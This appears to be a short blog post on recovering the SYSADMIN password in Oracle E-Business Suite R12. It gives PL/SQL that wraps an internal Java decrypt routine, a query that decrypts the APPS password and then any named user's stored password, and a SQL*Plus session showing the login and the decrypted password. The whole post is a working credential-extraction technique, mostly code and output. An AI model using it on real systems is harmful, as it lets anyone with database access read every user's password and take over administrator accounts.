How to find sysadmin password in oracle apps r12?

1)conect to database as apps schema
2)create package and package body.
3)fire select statement you will get sysadmin passwod.
************************select statement t********
SELECT Usr.User_Name,
       Usr.Description,
       XXARTO_GET_PWD.Decrypt (
          (SELECT (SELECT XXARTO_GET_PWD.Decrypt (
                             Fnd_Web_Sec.Get_Guest_Username_Pwd,
                             Usertable.Encrypted_Foundation_Password)
                     FROM DUAL)
                     AS Apps_Password
             FROM applsys.Fnd_User Usertable
            WHERE Usertable.User_Name =
                     (SELECT SUBSTR (
                                Fnd_Web_Sec.Get_Guest_Username_Pwd,
                                1,
                                INSTR (Fnd_Web_Sec.Get_Guest_Username_Pwd,
                                       '/')
                                - 1)
                        FROM DUAL)),
          Usr.Encrypted_User_Password)
          Password
  FROM applsys.Fnd_User Usr
 WHERE Usr.User_Name = '&User_Name';

****************************************************

oradev@ctsst $ sqlplus apps/deal123

SQL*Plus: Release 11.2.0.2.0 Production on Sat Jul 20 04:47:24 2013

Copyright (c) 1982, 2010, Oracle. All rights reserved.


Connected to:
Oracle Database 11g Enterprise Edition Release 11.2.0.2.0 - 64bit Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options
SQL> CREATE OR REPLACE PACKAGE XXARTO_GET_PWD AS
FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)
RETURN VARCHAR2;
END XXARTO_GET_PWD; 2 3 4
5 /

Package created.

SQL> CREATE OR REPLACE PACKAGE BODY XXARTO_GET_PWD AS
2 FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)
3 RETURN VARCHAR2 AS
4 LANGUAGE JAVA NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt
5 (java.lang.String,java.lang.String) return java.lang.String';
6 END XXARTO_GET_PWD;
7 /

Package body created.

SQL> SELECT Usr.User_Name,
2 Usr.Description,
3 XXARTO_GET_PWD.Decrypt (
4 (SELECT (SELECT XXARTO_GET_PWD.Decrypt (
5 Fnd_Web_Sec.Get_Guest_Username_Pwd,
6 Usertable.Encrypted_Foundation_Password)
7 FROM DUAL)
8 AS Apps_Password
9 FROM applsys.Fnd_User Usertable
10 WHERE Usertable.User_Name =
11 (SELECT SUBSTR (
12 Fnd_Web_Sec.Get_Guest_Username_Pwd,
13 1,
14 INSTR (Fnd_Web_Sec.Get_Guest_Username_Pwd,
15 '/')
16 - 1)
17 FROM DUAL)),
18 Usr.Encrypted_User_Password)
19 Password
20 FROM applsys.Fnd_User Usr
21 WHERE Usr.User_Name = '&User_Name';
Enter value for user_name: SYSADMIN
old 21: WHERE Usr.User_Name = '&User_Name'
new 21: WHERE Usr.User_Name = 'SYSADMIN'

USER_NAME
--------------------------------------------------------------------------------
DESCRIPTION
--------------------------------------------------------------------------------
PASSWORD
--------------------------------------------------------------------------------
SYSADMIN
System Administrator
welcome123

Thanks for visiting my blog .Happy learning !!!!!!!!!